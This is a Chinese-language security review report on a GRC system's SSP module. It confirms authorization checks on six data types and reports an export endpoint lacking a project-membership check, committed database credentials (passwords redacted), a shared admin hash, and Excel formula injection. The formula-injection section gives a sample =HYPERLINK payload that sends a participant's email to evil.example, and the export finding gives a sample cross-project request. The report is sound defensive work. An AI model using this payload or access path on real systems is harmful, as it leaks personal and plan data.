O5 檢查結果:系統安全計畫的六類附屬資料

O5 檢查結果:系統安全計畫的六類附屬資料

檢查日期 2026-09-21|掃描耗時 3 小時 40 分|對應卡片 CM-2005


§1

🔴 一句話結論

派工時要追的那條線追到了第三次——而且這次洞在隔壁。

原本要查的六組功能(元件、人員、設備清單、繼承授權、參考資料、系統特性的增刪改查),逐支核對下來全部守齊,沒有一支漏掉。但這六組餵資料過去的那支「SSP 匯出成 Excel 範本」的功能,完全沒有檢查你是不是這個專案的人——任何一個登入者,只要知道別人的系統安全計畫編號,就能把對方整份計畫下載走:人名、email、電話、地址、設備清單、IP 位址、每一條控制項的實施狀況與敘述。而做同一件事的隔壁端點是有檢查的。

另外撈到兩條高風險,都是明文密碼進了版控——其中一組字串出現在 250 個已進版控的檔案裡。這兩條不在本棒範圍內,是機密專項掃描順手撈到的。


§2

這一棒在檢查什麼

系統安全計畫(SSP)底下掛著六類附屬資料:元件(系統由哪些東西組成)、人員(誰負責什麼)、設備清單(有哪些機器、IP 多少)、繼承授權(沿用了哪些已通過的授權)、參考資料(附帶的文件)、系統特性(系統叫什麼、敏感度多高、邊界在哪)。

每一類各有一組網址入口(列表/新增/修改/刪除)與一支商業邏輯程式,共 15 支檔、1,808 行。這一棒查的就是**「誰能看、誰能改、誰能刪這六類資料」**。

為什麼挑這塊:六組是同一套邏輯複製六份,最典型的「複製貼上時漏掉一處」風險——六組裡只要有一組的刪除忘了守門,就是一個完整的洞。


現況(2026-10-01):本棒各條後來的處理結果如下(過程紀錄保留,不改)。

  • 問題 1、2(資料庫密碼進版控):✅ 已修(CM-2049,commit 5d4c14221;原卡 CM-1629 作廢)。
  • 問題 3(SSP 匯出範本不查是不是你的專案)=M11 第 1 條,✅ 已修(CM-2188,commit 82618a297,1.21.0 出貨)。
  • 問題 4(每套安裝同一組管理員密碼):🚫 裁定不修(M17 第 7 條)。
  • 問題 5(存進 SSP 的文字在匯出 Excel 變公式)=M11 第 20、21 條,✅ 已修(CM-2189,commit 895db0ef8,1.21.0 出貨)。
§3

找到什麼:5 個問題

# 嚴重度 這是什麼問題 出事會怎樣 要先有什麼才打得到 在哪裡
1 🔴 高
⚠️ 範圍外
POC 資料庫的密碼被寫死在一支已進版控的程式裡 拿得到程式碼的人可以直接連進 POC 資料庫讀寫。POC 依專案規定等同正式環境,客戶會在上面試玩 ① 讀得到程式碼倉庫
② 連得到 192.168.50.189
docs/system-design/scripts/generate_db_schema_docx.py 第 34 行
2 🔴 高
⚠️ 範圍外
資料庫最高權限帳號 cmmgr 的密碼被寫在文件裡,同一組字串散在 250 個受版控的檔案中 這個帳號會繞過「每個客戶只能看自己資料」的隔離機制,所有客戶資料可讀可寫,還能自己開新帳號 同上 docs/analysis/2026-05-28-poc-db-migration-plan.md 第 73 行等 250 個檔
3 🟡 中 **SSP 匯出成 Excel 範本時,不問「你是不是這個專案的人」 任何登入者只要知道別人的 SSP 編號,就能下載對方整份**計畫:人名、email、電話、地址、設備 IP、每條控制項敘述 有一個能看資源庫頁面的帳號 + 知道目標編號(從別的 API 回應就拿得到) app/module_frame/service/ssp_import_template_app_service.py 第 280 行
4 🟡 中
⚠️ 範圍外
每一套安裝出來的最高管理員密碼都一樣,而且刻意關掉首次登入強制改密 破解一次就能登入所有客戶的系統,而且身分是跨客戶通行的超級管理員 拿到安裝包或程式碼 + 把密碼雜湊破解出來 scripts/init/06-admin.sql 第 41 行
5 🟡 中 存進 SSP 的文字,在匯出的 Excel 裡會變成會執行的公式 稽核人員打開匯出的 Excel,他電腦上的資料會被送到攻擊者的伺服器;嚴重時可到執行指令 攻擊者能寫入某份 SSP + 受害者打開檔案並按下 Excel 的警告確認 app/module_frame/excel_template/generator.py 第 578 行

§4

詳細說明

問題 3:SSP 匯出範本沒檢查你是不是這個專案的人(本棒範圍內最重要的一條)

白話:系統有一個「把整份系統安全計畫倒成 Excel」的功能。這個功能只問兩件事:你登入了嗎、你的角色有沒有「看資源庫」這個權限。它從來不問「這份計畫是不是你們專案的」。

api/module_frame/routes/ssp_import_template_route.py

第 97 行   @jwt_required()                      ← 你登入了嗎
第 98 行   @require_capability("module-frame.read")  ← 你的角色能看資源庫嗎
                                                ← 沒有第三道:這份計畫是你們的嗎

app/module_frame/service/ssp_import_template_app_service.py

第 280 行  ssp = self._ssp_domain_service.get_ssp(ssp_uid)
           ← 網址上給什麼編號就查什麼,直接開始讀資料

整支檔案(含 DI 注入)grep require_、Permission、Forbidden、authz 一個字都沒有。

同一個系統裡做同一件事的隔壁端點是有檢查的——/ssp/<編號>/export(另一種格式的匯出):

app/oscal/service/export/ssp_export_app_service.py

第 16 行   from common.authz.ssp import SspPermissionChecker
第 74-75 行  if self._perm is not None:
                 self._perm.require_participant(ssp_uid)   ← 先問「你是這專案的人嗎」

有反例就代表「這裡本來就該有檢查」不是猜測。

會流出什麼:系統名稱與敏感度分級、授權邊界、每一位登記人員的姓名/email/電話/通訊地址、設備與資訊系統清單(主機名稱、IP、MAC、作業系統、資產編號)、繼承的授權、每一條控制項的實施狀況與完整敘述、附帶文件的檔名。一份九張工作表的 Excel。

攻擊情境:某個只是 A 專案「檢視者」的人(甚至一個專案都沒參加、只要角色有「看資源庫」權限),從 /grc/project/<編號>/ap/menu 的回應裡拿到 B 專案的 SSP 編號,送出 GET /api/1.0/ssp/<B的編號>/excel-template?mode=filled,就拿到 B 專案的全部內容。

還有一層:底層那些 oscal.* 資料表沒有資料庫層的客戶隔離(整份 schema 裡只有五張解析工作單的表開了隔離)。所以在多客戶部署下,這個漏洞連「只洩漏給同公司的人」都做不到。

怎麼修:把 SspPermissionChecker 注入這支服務,在 generate_for_ssp 第一行呼叫 require_participant(ssp_uid),照隔壁 export 那支抄;DI 在 di_containers/module_frame/module_frame_containers.py 接線。另外建議給 oscal.* 那些表補上資料庫層隔離,這樣漏掉一道守門就不會是唯一的防線。

🔴 這是同一種病的第三次

棒次 位置 形狀
O2 寫入路徑 讀取受資料庫層隔離保護,但寫入的目標在另一個資料庫結構、那裡沒有隔離
O3a Excel 匯入 三條去路,兩條有檢查、資源庫那條完全沒有
O5(本棒) Excel 匯出 匯出範本沒有檢查,隔壁做同樣事的匯出有檢查

三次都在同一塊地(SSP 的資料進出),三次都是「隔壁有守、這支沒守」。 建議修正卡把 O3a 那條與這條放在一起處理——匯入匯出是同一條路的兩個方向。


問題 1、2:明文密碼進版控(兩條高風險,範圍外)

這兩條不在本棒的 15 支檔裡,是機密專項掃描順手掃全倉庫找到的。但它們直接違反本專案 CLAUDE.md 的第一條行為規範(「禁止將憑證寫入任何版控檔案」)。

問題 1——POC 資料庫的連線資訊被寫死在一支產生資料庫文件的腳本裡:

# docs/system-design/scripts/generate_db_schema_docx.py 第 33-34 行
DB_CONN = dict(host="192.168.50.189", port=25432, dbname="guidant_ai_poc",
               user="cm_app", password="<密碼>")

主機、埠號、資料庫名、帳號、密碼——五樣齊全,複製貼上就能連。 這支檔案確認已進版控(git ls-files 查過)。

問題 2——最高權限帳號的密碼寫在遷移手冊裡,而且同一組字串出現在 250 個受版控的檔案中(我自己 git grep -l 數的,與掃描報告吻合):

# docs/analysis/2026-05-28-poc-db-migration-plan.md 第 71-73 行
export PGPASSWORD='<密碼>'
PSQL="psql -h 192.168.50.189 -p 25432 -U cmmgr -d guidant_ai_poc ..."

cmmgr 這個帳號建立時帶 BYPASSRLS——繞過所有客戶隔離——外加 CREATEROLE(可以自己開帳號)與資料庫擁有權(可以隨意改結構)。這是整個產品裡權限最高的一組資料庫憑證。

這和 FR-081 的 I2 是同一件事

I2(2026-09-09)數到 249 個檔,這次數到 250。 根因一樣:不是有人故意把密碼寫進文件,是工作過程被完整記錄下來的副作用——查資料庫打的指令連同密碼被寫進對話紀錄,對話紀錄依規定進版控。

I2 已經開了修正卡 CM-1629 要求治本(改用 ~/.pgpass、對話紀錄歸檔前先遮罩)。這次的兩條不必另開新卡,併進 CM-1629 即可——但要注意問題 1 那支是程式碼不是文件,清理方式不同(要改成從環境變數讀,scripts/archive/backfill_2026-06-17_inject_job_execution_uid.py:25-28 已經有正確寫法可抄)。

⚠️ 換密碼要注意:DEV 和基線庫可以規劃,但 STG/POC 屬於環境異動,依專案鐵律要決策者當次明確指示才可以動。


問題 4:每套安裝的管理員密碼都一樣(範圍外)

-- scripts/init/06-admin.sql 第 41 行
c_password CONSTANT text := '<固定的 bcrypt 雜湊>';

這支在每次安裝時都會跑(scripts/init/init.sh:128),所以每一套交付出去的系統,admin 帳號的密碼都是同一組。而且第 94-96 行有一段註解,刻意說明不建立首次登入強制改密:

刻意不建 FIRST_REGISTER 改密請求:這個帳號的密碼由原廠保管,不是要交給某個人去改的初始密碼。

這個決定本身有其道理(原廠要留維運入口),但代價是沒說出口的:破解一次雜湊,或原廠手上那份文件外流一次,就等於拿到所有客戶系統的超級管理員——那個身分會繞過全部的客戶隔離,而且沒有任何機制讓它過期。

怎麼修:安裝時每套各自產生一組密碼,顯示一次給安裝的人——install.sh:1251 產生資料庫管理員密碼時已經是這樣做的(openssl rand),照抄即可。若真的要保留固定的原廠帳號,至少掛上首次登入改密,讓外流的共用密碼在第一次使用後失效。


問題 5:存進去的文字會變成 Excel 公式

白話:使用者在 SSP 欄位裡填的字,匯出成 Excel 之後會被當成公式執行。

# app/module_frame/excel_template/generator.py 第 578 行
cell = ws.cell(row=row_offset, column=col_idx, value=value)   ← 原字串直接寫入

# 第 137 行
wb.calculation.fullCalcOnLoad = True    ← 而且設定成「一打開就重算」

Excel 函式庫看到開頭是 = 的字串會自動把格子標記成公式,加上「一打開就重算」,檔案開啟的瞬間公式就跑了。

攻擊情境:能寫入某份 SSP 的人,把元件標題設成 =HYPERLINK("https://evil.example/?x="&'參與人員'!A2,"Click for details")。 稽核人員下載這份 Excel,看到一個像是正常連結的儲存格,點下去——同一份檔案裡某位參與人員的 email 就被送到攻擊者的伺服器。

影響落在稽核人員的電腦上,不是伺服器。 需要受害者按下 Excel 的警告確認,所以判中不判高。

怎麼修:寫入前把開頭是 =、+、-、@、tab、換行的字串前面補一個單引號,或寫完之後把格子型別明確設成文字。generator.py:319(直式工作表)與 lookup_builder.py 要一起處理。


§5

本棒原本要查的六組——結果是乾淨的

派工卡列了四項必查,逐項核對結果如下(這段是我自己開檔看的,不是採信掃描報告):

① 六組的守門是不是齊的 → ✅ 全齊

                        列表            新增/修改/刪除
元件      components     participant     manager × 3
人員      party          participant     manager × 3
設備清單  inventory      participant     manager × 3
繼承授權  leveraged      participant     manager × 3
參考資料  resources      participant     manager × 3
系統特性  system_char    participant     manager × 1(只有一支更新)

六組都是:讀用「你要是這專案的人」,寫用「你要是這專案的負責人」,一支不漏。 卡片擔心的「某一組的刪除忘了守門」沒有發生。

② 子物件編號有沒有確認屬於網址上那份 SSP → ✅ 六組都有

六組的內部查找函式長得一模一樣:先用權限檢查回傳的 SSP 編號去撈清單,再在清單裡比對子物件編號。

def _resolve(self, ssp_id: int, item_uid: str):
    for c in self._ssp_service.list_components_for_ssp(ssp_id):   ← 只在這份 SSP 的範圍內找
        if c.uuid == item_uid:
            return c
    raise NotFound(...)                                            ← 找不到就 404

所以「拿自己的 SSP 編號 + 別人的元件編號」這招行不通,會得到 404。人員那組走的是 metadata 層(_metadata_id),形狀不同但同樣限定在本 SSP 之內。

③ ssp_project_resolver 解析不到時回什麼 → ✅ 四條失敗路徑全部拋錯

這支是整條權限判斷鏈的起點,卡片特別點名「回 None 然後上層當成通過」是災難。實際情況:

第 89 行   SSP 查不到           → raise NotFound
第 92 行   查不到所屬專案        → raise NotFound
第 95 行   專案查不到           → raise NotFound

resolve() 沒有任何一條路徑回 None。(檔案下半部的 resolve_round_for_ssp、resolve_current_ssp 確實會回 None,但那兩支是查輪次用的,不在權限判斷鏈上。)

④ 兩支解析器職責有沒有重疊、行為一不一致 → ✅ 沒有衝突

ssp_project_resolver(SSP → 專案)與 ssp_context_resolver(SSP → 上下文)職責分開,沒有出現「兩套解析同一件事而答案不同」的情形。

結論:這六組本身是這批檔案裡寫得最一致的一塊。洞在它們餵資料過去的那支匯出服務。


§6

這份結果可信到什麼程度

「這五條是真的嗎」→ ✅ 可信

五條全部經過三個獨立檢查員投票、三票全過,15 票全數投出、沒有漏投、沒有中斷,驗證章蓋的是 verified。

檢查員把問題 3 降級了(研究員判「高」,兩位檢查員投「中」,最後定為中)——代表他們在做對抗性判斷,不是橡皮圖章。

我自己也沒有只採信工具,下列是開檔核對過的:

  • 問題 1 的第 34 行、以及這支檔案確實進版控(git ls-files)
  • 問題 2 的第 73 行、以及 250 個檔的數字(git grep -l 自己數)
  • 問題 3 的路由只有兩個裝飾器、服務整支沒有任何權限字眼、以及隔壁 export 確實有守(這一條是判斷「該不該有」的關鍵)
  • 問題 4 的固定雜湊與「刻意不建改密」的註解
  • 上一節六組守門的全部比對

「是不是只有這五條」→ ❌ 不可信,兩層原因

第一層:這是快篩模式(low),一個研究員讀完 15 支檔,沒有全面盤點、沒有威脅建模。它不是窮舉式閱讀。

第二層:四條標「範圍外」的發現,不代表那些地方被檢查過。 問題 1、2、4 是機密專項掃描順手撈到的,docs/、scripts/ 這兩個目錄從來不是這次的檢查目標——那兩處等於沒檢查過。問題 3、5 雖然是本棒研究員找到的,但落點在 app/module_frame/,也不在原本的 15 支檔清單內。

另外:這次掃描沒有執行任何程式碼——沒跑測試、沒發動攻擊、沒驗證過概念驗證。每一條都是讀程式碼推出來的。上面標「開檔核對」的幾條,是我重新打開檔案看過那幾行確實那樣寫,不是實際打過那個 API。


§7

執行概況(技術細節)

項目 數字
檢查範圍 15 個檔、1,808 行
工具設定 effort low/focus attack-surface
派出/回報的 agent 17 / 17(1 研究員 + 1 機密掃描 + 15 檢查員)
失敗的 agent 0
候選問題 → 去除重複 5 → 5
投票數 15(5 條 × 3 個檢查員)
沒投到票的 0
投票中斷的 0
被檢查員降低嚴重度的 1(問題 3,高 → 中)
驗證章 verified
掃描耗時 3 小時 40 分
Run ID wf_7ac51ad6-b71
掃描時的版本 7ce6210(branch feature/review,工作區有未提交異動)

原始產物(JSONL/SARIF/驗證章)在 CLAUDE-SECURITY-20260921-113212/。